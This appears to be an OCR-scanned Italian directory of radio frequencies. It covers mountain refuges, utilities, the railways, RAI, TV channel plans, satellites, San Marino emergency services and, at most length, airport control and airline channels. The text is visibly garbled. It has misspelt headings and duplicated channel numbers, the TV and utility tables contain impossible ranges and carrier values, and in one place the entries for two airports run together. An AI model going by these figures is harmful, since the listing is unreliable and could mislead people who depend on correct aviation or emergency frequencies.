I RIFUGI RIPORTATI SONO DOTATI DI APPARECCHIO RADIOTELEFONICO DI EMERGENZA

RIFUGIO	REGIONE	PROV	FREQUENZE
Monte Aiona	Liguria	GE	446.550
Monte Bue	Liguria	GE	446.900

Pra Riondo	Liguria	GE	447.050	
Albani	Lombardia	BG	166.125	
Berni	Lombardia	SO	446.250	
Bonetta	Lombardia	BS?	166.325	
Capanna	Lombardia	BG?	446 400	446.550
Casati G -Guasti A.	Lombardia	SO	163 650	446.900
Coca	Lombardia	BG	166 225	
Curò	Lombardia	BG	166 375	
Garibaldi	Lombardia	BS	166.375	446.450
Lissone	Lombardia	BS	147.650	
Menaggio	Lombardia	CO	141.250	
Porro A-Geni A.e M.	Lombardia	SO?	147.000	
Rosa Marco	Lombardia	SO	147.000	
Tonolini	Lombardia	BS	146.660	
Aprimo O. CAI	Piemonte	TO	166.325	
Balma	Piemonte	TO	446.400	
Barbara	Piemonte	TO	446 550	
Bianco	Piemont	CN	446.450	
Bolzano	Piemone	CN	446.100	
Ca dAsti	Piemote	TO	446.250	
Capanna Renata	Piemonte	BI	446 100	
Cibrario	Piemonte	TO	446 200	
Città di Busto	Piemonte	NO	146 650	
Daviso CAI	Piemonte	TO	446 100	
Federico F.- Marchesini E	Piemonte	CN	446 550	
Genova	Piemonte	CN	446 250	
Il Truc	Piemonte	TO	447 350	
La Balma	Piemonte	CN	166.325	
Lowrie B. GAI	Piemonte	TO	446 550	
Mombarone	Piemonte	BI	446 900	
Morelli	Piemonte	CN	446 200	
Mucrone	Piemonte	BI	446.250	
Pagani	Piemonte	CN	446.550	
Piano del Re	Piemonte.	CN	166.325	
Questa	Piemonte	CN	446.450	
Remondino CAI	Piemonte	CN	446.250	
Rosazza	Piemonte	BI	446.250	
Salvin	Piemonte	TO	446.500	
Sorta	Piemonte	CN	447 350	
Tazzetti E.	Piemonte	TO	446.400	
Vaccarone L.	Piemonte	TO	446.500	
Biasi	Trentino Alto Adige	BZ	446.250	
Brentari	Trentino Alto Adige	TN	166.425	
Carà Alto	Trentino Atto Adige	TN	146.440	
Coronelle	Trentino Alto Adige	TN	160 950	
Fraccaroli M.	Trentino Alto Adige	TN	446 550	
Mantova	Trentino Alto Adige	BZ?	1 55.860	
Pedrotti alla Tosa	Trentino Alto Adige	TN	168 925 link	
Aosta	Valle d’Aosta	AO	447 350	
Barba G. - Ferrero L.	Valle dAosta	AO	446 250	
Benevolo CAI	Valle d'Aosta	AO	446 100	
Bertone G.	Valle d'Aosta	AO	446 500	
Bezzi CAI	Valle d'Aosta	AO	446.250	
Boccalatte	Valle d’Aosta	AO	446.100	
Chabot	Valle d’Aosta	AO	446.550	
CIttà di Chivasso	Valle dAosta	AO	446.250	
Chiarella	Valle d'Aosta	AO	446.200	
Città di Mantova	Valle d'Aosta	AO	446.500	
Città di Vigevano	Valle dAosta	AO	447.350	
Col Collon-Nacamuli A.	Valle d'Aosta	AO	446.250	
Cretea Seches	Valle dAosta	AO	446 400	
Daffeyes A.	Valle d'Aosta	AO	447.150	

Dalmazzi	Valle d'Aosta	AO	446.200
Delle Roccie	Valle d'Aosta	AO	447.050
Duca Degli Abruzzi	Valle d'Aosta	AO	447.350
Elisabetta	Valle d'Aosta	AO	446.250
Emmanuelle V.	Valle d'Aosta	AO	166.225
Prarayer	Valle dAosta	AO	446.550
Savoia	Valle d’Aosta	AO	447.350
Sella Q.	Valle d'Aosta	AO	446.250
Sella V. CAI	Valle dAosta	AO	446.250
Torino Vecchio CAI	Valle d'Aosta	AO	447.050
Averau	Veneto	BL	446.250
Bassano	Veneto	VI o TV	447150
Biella	Veneto	BL	166.425
Croda da Lago - Palmieri G.	Veneto	BL	166.125
Lobbia	Veneto	VI o VR	146.350
Papa A.	Veneto	VI	166.325
Telegrafo	Veneto	VR	446.200
Alpe Pratetto	non identiticata		446.550
Boval	non identificata		160.000
Carosello	non identificata		446.900
Coazze	non identificata		446.500
Delle Roccie	non identificata		447.050
Mandronte	non identificata		146.150
Monpantero	non identificata		447.350
Sciliar TCI	non identificata		156.675

GUIDE ALPINE

NON VENGONO UTILIZZATE FREQUENZE CON ASSEGNAZIONE MINISTERIALE

LOCALITA'	PROV	FREQUENZE
Bormio	SO	166.100
Brescia	BS	146.800
C.A.S.		150.200
Cervino		156.800
Courmayeur	AO	155.035
Gardena		160.500
Macugnaga	VB	141.650
Ponte di Legno	BS	147.650
San Martino		146.100
Val Camonica		147.650
Val di Fessa		146.100

FUNIVIE

NON VENGONO UTILIZZATE FREQUENZE CON ASSEGNAZIONE MINISTERIALE

LOCALITA’	FREQUENZE
Gran Montein	156.195
Monte Bianco	156.625
Val Strona	160.667,5
Val Torta	160 687,5
Val Veny	156.275

AZIENDA NAZIONALE AUTONOMA STRADE STATALI
A.N.A.S.

BANDA 465 - 470 MHz (servizi compresi nella gamma civile UHF)

L'ASSEGNAZIONE E UTILIZZO DEI CANALI DI LAVORO AWIENE A LEVELLO PROVINCIALE
PER OGNI BACINO Di UTENZA

465.175
465.250
465.275
465.300
465.350
465 450
465.550
465.625
465.675
466.900

NELLA REGIONE **LOMBARDIA** IL SERVIZIO VIENE ATTUATO SULLE SEGUENTI FREQUENZE

Bergamo	438.600
Brescia	non disponibile
Como	437.600
Cremona	437.875
Lecco	437.600
Lodi	non disponibile
Mantova	437.875
Milano	465.550
Pavia	non disponibile
Sondrio	non disponibile
Varese	non disponibile

FERROVIE DELLO STATO
F.S.

BANDA 440- 444 MHz (servizi compresi nella gamma civile UHF)

SONO OPERATIVI INOLTRE NEl PRINCIPALI SCALI FERROVIARI CON ASSEGNAZIONE PER ZONA TERRITORIALE SERVIZI OPERANTI IN GAMMA CIVILE VHF

COORDINAZIONE MOVIMENTO - COMPOSIZIONE CONVOGLI - SMISTAMENTO CARROZZE

ASSEGNAZIONE NAZIONALE PER SERVIZI OPERANTI IN GAMMA CIVILE UHF

440.025
440.100
440.125
440.175
440.200
440.225
440.250
440.425
440.475
440.575
440.675
440.775
440.825
440.875
440.900
440.975
441.075
441.175
441.200
441.250
441.325
441.350
441.425
441.525
441.675
441.850
441.900
441.950
442.000
442.025
442.150
442.200
442.225
442.850
442.900
444.000

ENTE NAZIONALE ENERGIA ELETTRICA
ENEL

BANDA 163.6 - 164.6 MHz

L'ASSEGNAZIONE E UTILIZZO DEI CANALI DI LAVORO AWIENE A LIVELLO PROVINCIALE
PER OGNI BACINO DI UTENZA

163.600
163 625
163.650
163.675
163.700
163.725
163.750
163.775
163.800
163.625
163.850
163.875
163.900
163.925
163.950
163.975
164.000
164.025
164.050
164.075
164.100
164.125
164.150
164.175
164.200
164.225
164.250
164.275
164.300
164.325
164.350
164.375
164.400
164.425
164.450
164.475
164.500
164.525
164.550
164.575
164.600

ENTE NAZIONALE IDROCARBURI

AGIP - SNAM

BANDA 172 - 172.6 MHz

LASSEGNAZIONE E UTILIZZO DEI CANALI DI LAVORO AWIENE A LIVELLO LOCALE PER OGNI BACINO DI UTENZA

CANALI	FREQUENZE
01	172.100
02	172.125
03	172.150
04	172.175
05	172.200
06	172.225
07	172.250
06	172.275
09	172.300
10	172.325
11	172.350
12	172.375
13	172.400
14	172.425
15	172.450
16	172.475
17	172.500
18	172.525
19	172.550
20	172.575
21	172.600
22	172.112.5
23	172.137,5
24	172.162,5
25	172.187,5
26	172.212,5

RADIO TELEVISIONE ITALIANA

BANDA 223 - 231.8 469.325 - 470 MHz

RIPRESE SQUADRE ESTERNE

223.000	canale	0
223.700	canale	1
224.200	canale	2
224.600	canale	3
225.100	canale	4
225.700	canale	5
226.200	canale	6
226.700	canale	7
227.400	canale	8
227.800	canale	9
228.200	canale	A
229.000	canale	B
230.300	canale	C
230.900	canale	D
231.400	canale	E
231.800	canale	F

RADIO – MICROFONO

469.325	canale	0
469.325	canale	1
469375	canale	2
469.425	canale	3
469.450	canale	4
469.500	canale	B
469.575	canale	5
469 675	canale	6
469.725	canale	7
469.775	canale	8
469.825	canale	9
469 875	canale	D
469.900	canale	C
469.925	canale	A
469.950	canale	E
469.975	canale	F

FEDERAZIONE CICLISTICA ITALIANA

SERVIZI CORSE PROFESSIONISTICHE

BANDA 156 - 175 MHz (servizi compresi nella gamma civile VHF)

RADIO CORSA	PARTENZA	TRAGUARDO	MOTOCICLISTI

154.560
154.680
157.600
161.087,5
161.112,5
161.512,5
161.537,5
162.087,5
162.112,5
162.137,5

154.560	Link Master UHF	431.875
154.560	Link Master UHF	432.000
154.680	Link Master UHF	431.875
154.680	Link Master UHF	432.000

CIVILI 43MHz

BANDA 43.300 - 43.587,5 MHz

SERVIZI ATTUATI – CANALIZZAZIONE - RIPARTIZIONE BANDE

L'ASSEGNAZIONE E UTILIZZO DEI CANALI DI LAVORO AWIENE A LIVELLO PROVINCIALE PER OGNI BACINO DI UTENZA

PUNTO 1

In ausilio degli addetti alla sicurezza a al soccorso sulle strade, alla vigilanza del traffico, dei trasporti a fune delle foreste, della disciplina della caccia, della pesca, della sicurezza notturna.

canale 01	43.300,0
canale 02	43.312,5
canale 03	43.325,0
canale 04	43.337,5
canale 05	43 350,0
canale 06	43.362,5

PUNTO 2

In ausilio alle imprese industriali,artigiane,commerciali ed agricole. Nel campo dell'edilizia, costruzioni o nell'ambito di aziende di ogni tipo.

canale 07	43.375.0
canale 08	43.387,5
canale 09	43.400,0
canale 10	43.412,5
canale 11	43.425,0
canale 12	43.437,5

PUNTO 3

Per la sicurezza della vita umana in mare, per emergenze fra piccole imbarcazioni e stazioni di base collocale esclusivamente presso sedi di organizzazioni nautiche, nonché per effettuare collegamenti di servizio fra diversi punti di una stessa nave,

canale 13	43.450,0
canale 14	43,462,5
canale 15	43.475,0
canale 16	43.487,5

PUNTO 4

In ausilio ad attività sportive ed agonistiche, apparati idonei all'impiego nel volo diporto sportivo, deltapleno, parapandio, voto a vela.

canale 17	43.500,0
canale 18	43.512,5
canale 19	43.525,0
canale 20	43.537,5

PUNTO 7

In ausilio ad attività professionali, sanitarie ed alte attività ad esse direttamente collegate. ospedali, unità sanitarie locali, emergenza sanitaria ecc.

canale 21	43.550,0
canale 22	43.562,5
canale 23	43.575,0
canale 24	43.587,5

CIVILI LPD

BANDA 433 - 435 MHz

CANALIZZAZIONE **SERVIZI ATTUATI**

PER COMUNICAZIONI A BREVE DISTANZA DI TIPO DIVERSO DA QUELLE OPERANTI NELLA BANDA DEI 43 MHz

CANALE	**FREQUENZA**	**CANALE**	**FREQUENZA**
01	433.075	36	433.950
02	433.100	37	433.975
03	433.125	36	434 000
04	433.150	39	434.025
05	433.175	40	434.050
06	433.200	41	434.075
07	433.225	42	434.100
08	433.250	43	434.125
09	433.275	44	434.150
10	433.300	45	434.175
11	433.325	46	434.200
12	433.350	47	434.225
13	433.375	48	434.250
14	433.400	49	434.275
15	433.425	50	434.300
16	433.450	51	434.325
17	433.475	52	434.350
18	433.500	53	434.375
19	433.525	54	434.400
20	433.550	55	434.425
21	433.575	56	434.450
22	433.600	57	434.475
23	433.625	58	434.500
24	433.650	59	434.525
25	433.675	60	434.550
26	433.700	61	434.575
27	433.725	62	434.600
26	433.750	63	434.625
29	433.775	64	434.650
30	433.800	65	434.675
31	433.825	66	434.700
32	433.850	67	434.725
33	433.875	68	434.750
34	433.900	69	434.775
35	433.925		

SATELLITI

BANDE DI FREQUENZA		SERVIZI ATTUATI
137.000 - 138 000	MHz	Satelliti in orbita fissa
149.900 - 150.050	MHz	Satelliti per radionavigazione
267.000 - 273.000	MHz	Satelliti militari
328.600 - 355.400	MHz	Satelliti per navigazione aeronautica
399.900 - 400.000	MHz	Satelliti di navigazione
400.000 - 400.150	MHz	Satelliti per segnale di tempo campione
400.150 - 402.000	MHz	Satelliti di ricerca a meteorologici
403.000 - 405 000	MHz	Radiosonde su palloni stratosferici
1.215.000- 1.240.000	MHz	Satelliti di navigazione
1.525.000- 1.545.000	MHz	Satelliti per comunicazioni mobili marittime
1.545.000- 1.555.000	MHz	Satelliti per comunicazioni mobili aeronautiche
1.670 000- 1.710.000	MHz	Satelliti meteorologici su orbita geostezionaria
2.200.000- 2.300.000	MHz	Comunicazioni intersatellite
2 483 500- 2.500.000	MHz	Satelliti di radiolocalizzazione

SATELLITE	FREQUENZE	NAZIONE
Meteor	137.300	Russia
	137.400	
	137.850	
Meteosat 5	1.691.000	
	1.694 500	
Nooa	1.698.000	
	1.707.000	
Nooa 9	137.620	USA
Nooa 10	137.500	USA

REPUBBLICA SAN MARINO

Vengono riportati i servizi resisi disponibili al momento dell’impaginazione

SERVIZIO	**FREQUENZA**
Emergenza Sanitaria 118	185.750
Gendarmeria	421.650
Ospedale	165.750
Polizia Municipale	421.650
Pronto Soccorso	165.750

BANDE E CANALI TELEVISIVI

BANDE – CANALIZZAZIONE - PORTANTI AUDIO

CANALIZZAZIONE ITALIANA

BANDA VHF	CANALE	BANDA IN MHz	PORTANTE AUDIO MHz
1	A	52.5 - 59,5	59.25
	B	61,0 - 68,0	57,75
2	C	81,0 - 68,0	87.75
3	D	174 - 181	180,75
	E	182,5 - 189,5	189,25
	F	191 - 198	197,75
	G	200 - 207	206.75
	H	209 - 218	215,75
	H1	216 - 223	222.75
	H2	223 - 230	229,75
		BANDA UHF	
4	21	470 - 478	476,75
	22	478 - 486	484,75
	23	486 - 494	492,75
	24	494 - 502	500,75
	25	502 - 510	508,75
	26	510 - 518	516,75
	27	518 - 528	524,75
	26	526 - 534	532,75
	29	534 - 542	540,75
	30	542 - 550	548,75
	31	550 - 558	556,75
	32	556 - 566	564,75
	33	588 - 574	572,75
	34	574 - 582	580,75
	35	582 - 590	588,75
	36	590 - 598	596,75
	37	596 - 808	604,75
		BANDA UHF	
5	38	606 - 614	812,75
	39	614 - 622	620,75
	40	622 - 630	626,75
	41	630 - 638	636,75
	42	638 - 646	644,75
	43	646 - 654	652,75
	44	654 - 662	660.75
	45	662 - 670	668,75
	46	670 - 678	678,75
	47	678 - 686	684,75
	48	686 - 694	692,75
	49	694 - 702	700,75
	50	702 - 710	708,75
	51	710 - 718	716,75
	52	718 - 726	724.75

53	726	-	734	732,75
54	734	-	742	740.75
55	742	-	750	748.75
56	750	-	758	756,75
57	758	-	766	764.75
56	768	-	744	772.75
59	774	-	782	780.75
60	782	-	790	788,75
61	790	-	798	796,75
62	796	-	806	604,75
63	806	-	814	812,75
64	814	-	822	820,75
65	622	-	830	828.75
66	830	-	838	836,75
67	838	-	846	844,75
68	846	-	854	852,75
69	854	-	862	860,75

AERONAUTICA CIVILE

BANDA 118-136 MHz

BANDA 108 - 117 MHz **V.O.R.** (Vhf Omnidirectional Range)

LINK MASTER UHF - LIMITI DI BANDA 225 - 399.950 MHz
OPERATIVI NEGLI AEROPORTI DI :
BOLOGNA BRINDISI MILANO NAPOLI PADOVA ROMA TREVISO

VOLMET (Servizi Metereologici di volo)
Brindisi 127.600 - Milano 126.600 - Pisa 128.400 - Roma 126.000

F.I.S. (Flight Information Service)
Brindisi 131.200 - Milano 134.300 - Padova 124.150 - Roma 126.750

ENTI REGIONALI CONTROLLO TRAFFICO AEREO
Garda 124.250 - 124.450 - 124.850 - Romagna 118.150 - 124.850

S.A.R. (Soccorso Aereo)
PER SCOPI DI SICUREZZA CON STAZIONI MOBILI MARITTIME
Cagliari 123.100 - Martina Franca 123.100 - Padova 123.100 - Rimini 123.100

AIR to AIR
118.350 - 122.700 - 122.750 - 122.800 - 123.450 - 131.800

AEREI MINISTERO DEGLI INTERNI 130.450

EMERGENZA INTERNAZIONALE 121.500 - 123.100-(ausiliaria)

AEROPORTI

LISTA DELLE FREQUENZE VHF USATE NEl COLLEGAMENTI T/B/T
DEGLI ENTI DI CONTROLLO DEL TRAFFICO AEREO
E RADIOASSISTENZE USATE NELLA NAVIGAZIONE AEREA

LOCALITA'	**SERVIZIO ATTUATO**	**FREQUENZA**
Acqui Terme	Radio Aviosuperficie	127.000
Agrigento	Torre di controllo	118.850
Albenga	Radio	123.850
Alessandria	Radio	126.900

Alghero	Torre di controllo	118.850
	Controllo di avvicinamento	118.660
	Controllo di avvicinamento	128.550
	Acars (stand-by)	131.525
	Acars	131.725
Alzate Brianza	Radio	123.500
Ancona	Torre di controllo	119.800
	Acars (stand-by)	131.525
	Acars	131.725
	Eliporto	122.500
Aosta	Radio	119.950
Aquino	Radio	126.900
Arezzo	Radio	126.900
Asiago	Radio	122.600
Bari	Torre di controllo	118.300
	Controllo di avvicinamento	119.500
	Acars (stand-by)	131.525
	Acars	131.725
Belluno	Radio	119.650
Bergamo (località Orio al Serio)	Torre di controllo	120.500
	Torre di controllo (riserva)	126.500
	Aeroclub	120.500
	Acars (stand-by)	131.525
	Acars	131.725
	COMPAGNIE AEREE DI BANDIERA	
	Alitatia operativo azzurra’	131.550
	Air One operativo aquila’ (coord. voli)	131.550
	Lufthansa	131.550
Biella	Radio	123.050
	Radio	123.500
Bologna	Torre di controllo	120.800
	Torre di controllo (riserva)	129.900
	Controllo di avvicinamento	120.100
	Acars (stand-by)	131.525
	Acars	131.725
	Eliporlo (militare)	129.900
	COMPAGNIE AEREE DI BANDIERA	
	Alitalia operativo azzurra’	131.400
	Lufthansa	131.850
Bolzano	Radio	120.600
Brescia (località Montichiari)	Radio Aeroclub	119.400
Bresso	Radio	122.000
Brindisi	ENTE REG. CONTROLLO TRAFFICO AEREO	
	Radar	124.750
	Radar	132.300
	Radar	132.450
	Radar	134.670
	Informazioni di volo	131.200
Brindisi	Torre di controllo	118.100
	Controllo di avvicinamonto	118.400
	Controllo di avvicinamento	121.000
	Radar di precisione in avvicinamento	119.900
	Acars (stand-by)	131.525
	Acars	131.725
Budrione (località Carpi)	Radio	119.650
Cagliari	Torre di controllo	120.600
	Controllo di avvicinamento	115.750
	Controllo di terra	121.600
	Acars (stand-by)	131.525
	Acars	131.725
	Soccorso Aereo	123.100
Caiolo	Radio	129.500

Calcinate del Pesce	Radio	123.500
Cà Negra	Radio	120.200
Capena	Radio	122.650
Capri	Eliporto	123.500
Capua	Radio	122.500
Casale Monferrato	Radio	123.570
Cascina Costa	società Agusta	121.600
	società Agusta	123.750
	società Agusta	126.200
	società Agusta	127.500
Castel Viscardo	Radio	130.000
	Radio (da verificare)	126 950
Castiglione deI Lago	Radio	123.500
Catania	Torre di controllo	118.700
	Controllo di avvicinamento	119.250
	Controllo di avvicinamento	120.600
	Controllo di terra	121.600
	Controllo di terra	129.720
	Acars (stand-by)	131.525
	Acars	131.725
	COMPAGNIE AEREE DI BANDIERA	
	Alitalia operativo azzurra”	131.475
Celano	Radio	130.000
Consalvo	Radio	130.000
Clusone	Eliporto	123.500
Como	Radio	121.000
Corfino	Radio	130.000
Costa d’Argento	Radio	130.000
Cremona	Radio	119.650
Crotone	Radio	119.100
Cuneo	Radio	119.550
Cuvio	Radio Aviosuperficie	120.350
Falconara (località Ancona)	Torre di controllo	119.600
	Acars (stand-by)	131.525
	Acars	131.725
Fano	Radio	119.650
Ferrara	Radio	122.500
Firenze	Torre di controllo	118.300
	Acars (stand-by)	131.525
	Acars	131.725
	COMPAGNIE AEREE DI BANDIERA	
	Alitalia “operativo azzurra”	131.475
	Compagnia non identificate (bollettino meteo)	120.200
Foggia	Torre di controllo	116.200
	Centro informazioni di volo	120.100
	Acars (stand-by)	131.525
	Acars	131.725
Foligno	Radio	119.550
Forlì	Torre di controllo	118.950
	Torre di controllo Aeroclub	119.750
	Radio	133.300
	Acars (stand-by)	131.525
	Acars	131.725
Frosinone	Torre di controllo	122.600
	Controllo di avvicinamento	119.350
	Controllo di terra	126.500
	Gardolo Radio	119.650
	Genova Torre di controllo	116.600
	Controllo di avvicinamento	119.600
	Controllo di avvicinamento (stand-by)	119.850
	Acars (stand-by)	131.525
	Acars	131.725

	COMPAGNIE AEREE DI BANDIERA	
	Alitalia ‘operativo azzurra”	131.450
	Iberia	131.650
	Compagnia (non identificata)	131.600
Gorizia	Radio	119.650
Grosseto	Torre di controllo	128.100
	Controllo di avvicinamento	124.520
Grottaglie	Torre di controllo	118.700
Guidonia	Radio	122.200
Ivrea	Radio	130.000
il Borro	servizio (non disponibile)	123.450
Ischia	Eliporto	126.900
Lamezia Terme	Torre di controllo	119.700
	Torre di controllo	121.500
	Controllo di avvicinamento	118.800
	Controllo di avvicinamento	121.100
Lempedusa	Radio	123.500
	Moro - Campo	130.170
Latina	Torre di controllo	119.150
	Controllo di avvicinamento	126.550
Lecce	Torre di controllo	119.550
	Controllo di avvicinamento	118.950
	Acars (stand-by)	131.525
	Acars	131.725
Lecce (località San Cataldo)	Radio	119.650
Legnago	Radio	122.600
Lucca	Radio	122.500
Lugo di Romagna	Radio	119.650
Manduria	Radio	122.500
Marina di Campo	Elba Radio	123.700
	Elba Torre di controllo	119.050
Martina Franca	Radio	121.300
	Soccorso aereo	123.100
Massa	Radio	120.350
Matera	Torre di controllo	122.500
Mattarello	Radio	119.650
Milano	ENTE REG. CONTROLLO TRAFFICO AEREO	
	Radar	125.270
	Radar	127.450
	Radar	130.170
	Radar	132.900
	Radar	134.050
	informazioni di volo	134.300
	Radar	134.520
	Radar	135.120
	Radar	135.450
Milano (Linate)	Torre di controllo	118.100
	Torre di controllo (riserva)	119.250
	Arrivi	126.300
	Arrivi	126.750
	Partenze	132.700
	Controllo di terra	121.800
	Servizio manutenzione aerei	131.850
	Acars (stand-by)	131.525
	Acars	131.725
	COMPAGNIE AEREE DI BANDIERA	
	Alitalia "operativo azzurra	131.475
	Air Franca	131.500
	Alilalia operativo azzurra" (coord. voli MI-Roma)	131.550
	Air One “operativo aquila” (coordinamento voli)	131.550
	Twa	131.600
	Compagnie (non identificate)	131.600

	Aviazione Generale	131.625
	Air France	131.650
	Iberia	131.650
	Klm	131.650
	Sabena	131.650
	Compagnie (non identificate)	131.650
	Alitalia operativo azzurra" (coordinamento voli)	131.675
	Olimpic	131.700
	Scandinavian Air Lines	131.700
	Swissair	131.700
	Compagnie (non identificate)	131.700
	Compagnie (non identificate)	131.800
	Lufthansa	131.925
Milano (Malpensa)	Torre di controllo	119.000
	Torre di controllo (riserva)	128.350
	Controllo di terra (da verificare)	121.600
	Controllo di terra	121.900
	Acars (stand-by)	131.525
	Acars	131.725
	COMPAGNIE AEREE DI BANDIERA	
	Alitalia "operativo azzurra'	131 .450
	Alitalia "operativo azzurra"	131.475
	Alitalia "operativo azzurre" (coordinamento voli)	131.550
	Air One "operativo aquila" (coordinamento voli)	131.550
	Twa	131.600
Modena (località Marzaglia)	Radio	119.550
Molinella	Radio	126.900
Monte Marenzo	Radio Aviosuperficie	130.000
Montegaldelle	Radio	130.000
Monteverdi Marittimo	Radio	130.090
Napoli	Torre di controllo	118.500
	Controllo di avvicinamento	120.950
	Controllo di avvicinamento	124.350
	Inserimento radar aereo in avvicinamento	118.300
	Napoli direttore	120.950
	Controllo di terra	121.900
	Terminale automatico d'informazione	135.970
	Acars (stand-by)	131.525
	Acars	131.725
	COMPAGNIE AEREE DI BANDIERA	
	Alitalia "operativo azzurra"	131.750
Novi Ligure	Radio	122.590
Olbia	Torre di controllo	125.950
	Controllo di avvicinamento	118.250
	COMPAGNIE AEREE DI BANDIERA	
	Alitalia "operativo azzurra"	131.475
	Meridiana	131.475
	Geasar	131.670
Orbassano	Radio	119.850
Oristano	Radio	122.600
Ozzano dall'Emilia	Radio	128.450
	Radio	130.000
Padova	ENTE REGIONALE CONTROLLO TRAFFICO AEREO	
	Radar	120.725
	Radar	124.150
	Radar	124.700
	Radar	124.750
	Rader	125.470
	Radar	125.900
	Radar	133.300
	Radar	133.700
	Radar	134.625

	Radar	134.750
	Radar	135.000
Padova	Torre di controllo	123.250
	Acars (stand-by)	131.525
	Acars	131.725
	Soccorso Aereo	123.100
	Bollettino meteo	120.200
Palermo	Torre di controllo	119.050
	Controllo di avvicinamento	118.650
	Controllo di avvicinamento	120.200
	Acars (stand-by)	131.525
	Acars	131.725
	Radio (Bocca di Falco)	122.600
Pantelleria	Torre di controllo	116.450
	Radar Moro Campo	130.170
Parma	Radio	118.450
Pavullo nel Frignano	Radio	122.600
Perugia	Radio	118.100
Pescara	Torre di controllo	118.450
	Controllo di avvicinamento	120.050
	Acars (stand-by)	131.525
	Acars	131.725
Pianezza	Scuola volo ULM	142.120
	Scuola volo ULM	142.165
Pianosa	Radio	122.500
Pisa	Torre di controllo	119.100
	Controllo di avvicinamento	124.270
	Controllo di avvicinamento	126.050
	Controllo di avvicinamento	126.070
	Controllo di avvicinamento (stand-by)	121.300
	Inserimento radar aereo in avvicinamento	118.200
	Controllo di terra	121.600
	Acars (stand-by)	131.525
	Acars	131.725
	COMPAGNIE AEREE DI BANDIERA	
	Alitalia operativo azzurra"	131.775
Poggio Renatico	Radio	122.500
	Radio Aeroclub	124.525
Pontedera	Radio	123.500
Prati Vecchi di Aguscello	Radio	122.600
Preturo	Radio	122.500
Ravenna	Radio	123.500
Reggio Calabria	Torre di controllo	118.300
Reggio Emilia	Radio	127.150
Rieti	Radio	123.050
Rimini	Torre di controllo	119.100
	Inserimento radar aereo in avvicinamento	119.250
	Controllo di terra	121.600
	Acars (stand-by)	131.525
	Acars	131.725
	Soccorso Aereo	123.100
Rivaltella	Scuola elicotteristi	122.000
Rivanazzano	Radio	123.000
Roma	ENTE REGIONALE CONTROLLO TRAFFICO AEREO	
	Informazioni di volo (stand-by)	122.400
	Radar	124.200
	Radar	124.800
	Radar	125.450
	Radar	125.500
	Centro informazioni di volo (solo VFR)	125.750
	Radar	127.350
	Radar	127.950

	Radar	128.600
	Radar	129.000
	Rader	131.250
	Radar	132.025
	Radar	132.075
	Radar	132.520
	Radar	133.120
	Radar	133.250
	Radar	134.200
	Radar	135.700
Roma (Fiumicino)	Torre di controllo	118.700
	Torre di controllo	119.300
	Arrivi	119.200
	Partenze	130.900
	Controllo di terra	121.800
	Controllo di terra	121.900
	Vdf	118.900
	Terminale automatico d'informazione	121.700
	Acars (stand-by)	131.525
	Acars	131.725
	COMPAGNIE AEREE Di BANDIERA	
	Alitalia operativo azzurra'	131.450
	Air France	131.500
	Air One 'operativo aquila"	131.550
	Alitalia "operativo azzurra' (coord. voli Roma-MI)	131.550
	Ati	131.550
	Aviazione Generale aeroporti di Roma	131.825
	Iberia	131.650
	Klm	131.650
	Sabena	131.650
	Alitalie "Operativo azzurra" (coordinamento voli)	131.675
	Olimpic	131.700
	Scandinavian Air Lines	131.700
	Swissair	131.700
	Compagnia (non identificata)	131.800
	Lufthansa	131.925
Roma (Ciampino)	Torre di controllo	120.500
	Arrivi	119.200
	Partenze	130.900
	Controllo di terra	119.400
	Controllo di terra	121.750
	Controllo di terra	131.620
	Acars (stand-by)	131.525
	Acars	131.725
	COMPAGNIE AEREE DI BANDIERA	
	Alitalia "operativo azzurra" (coord. voli Roma-MI)	131.550
	Aviazione Generale aeroporti di Roma	131.625
	Iberia	131.650
	Klm	131.650
	Sabena	131.650
	Altre compagnie (non identificate)	131.650
Roma (Urbe)	Torre di controllo	123.800
	Controllo di terra	122.700
Ronchi dei Legionari	Torre di controllo	130.200
	Controllo di avvicinamento	119.150
	Alitalia "operativo azzurra"	131.750
Salerno	Radio	118.100
Salgareda	Radio Aviosuperficie	118.000
San Giustino Valdarno	Radio	123.450
Sant'Eufemia Lamezia	Torre di controllo	119.700
	Controllo di avvicinamento	118.800
Sarzana	Radio	119.650

Sassuolo	Radio	124.000
Siena	Radio	122.600
Sigonella	Torre di controllo	118.050
	Controllo di avvicinamento	118.100
	Radar	119.250
	Catania direttore	120.800
	Controllo di terra	121.950
Thiene	Radio	121.650
Torino	Torre di controllo	116.500
	Radar (riserva)	120.150
	Radar	121.100
	Acars (stand-by)	131.525
	Acars	131.725
	Alenia (stazione talemetria EFA)	130.675
	Fiat (Caselle)	122.950
	COMPAGNIE AEREE DI BANDIERA	
	Alitalia operativo azzurra’	131.900
	Lufthansa	131.900
	Atis	133.950
Torino (Aeritalia)	Radio	121.100
	Centro informazioni di volo	119.150
Tortoli	Radio	119.500
	Radio	119.650
Trapani	Torre di controllo	119.700
	Controllo di avvicinamento	119.950
	Controllo di terra	122.800
	Acars (stand-by)	131.525
	Acars	131.725
Treviso	Torre di controllo	116.700
	Controllo di avvicinamento	120.400
	Controllo di avvicinamento	121.150
	Controllo di terra	122.300
	Controllo di terra	122.750
	Acars (stand-by)	131.525
	Acars	131.725
Trieste	Radio	119.150
Udine	Radio	119.050
Velbrembo	Radio	122.600
Val della Torre	Scuola volo ULM	142.670
Valle dei laghi	Radio	130.000
Varese	Radio	119.500
Venegono	Radio	128.550
Venezia	Torre di controllo	120.200
	Radar in avvicinamento	118.900
	Controllo di terra	121.700
	Acars (stand-by)	131.525
	Acars	131.725
	Radio (Venezia Lido)	120.000
	COMPAGNIE AEREE DI BANDIERA	
	Alitalia “operativo azzurra”	131.475
	Air Franca	131.500
	Alitalia "operativo azzurra” (coordinamento voli)	131.550
	Air One “operativo aquila” (coordinamento voli)	131.550
	Alpi Eagles	131.550
	Aviazione Generale	131.575
	Lufthansa	131.925
	Compagnia (non disponibile)	131.975
Vercelli	Radio	122.600
Vergiate	Radio	119.770
Verona	Torre di controllo	116.650
	Radar	118.550
	Controllo di terra	121.750

	Acars (stand-by)	131.525
	Acars	131.725
	Radio (Boscomantico)	122.050
	COMPAGNIE AEREE DI BANDIERA	
	Alitalia ‘operativo azzurra”	131.475
Vibo Valentia	Radio	119.650
Vicenza	Torre di controllo	130.400
Viterbo	Torre di controllo	127.150
Vizzola Ticino	Radio	122.500
Voghera	Radio	119.650
	Radio	123.000

RADIOFARI OMNIDIREZIONALI

V.O.R. VHF OMNIDIRECTIONAL RANGE

LOCALITA'	**NOMINATIVO**	**FREQUENZA**
Alghero	ALG	113.800
Ancona	ANC	117.600
Bari	BAI	115.300
Bologna	BOA	112.200
Bolsena	BOL	114.400
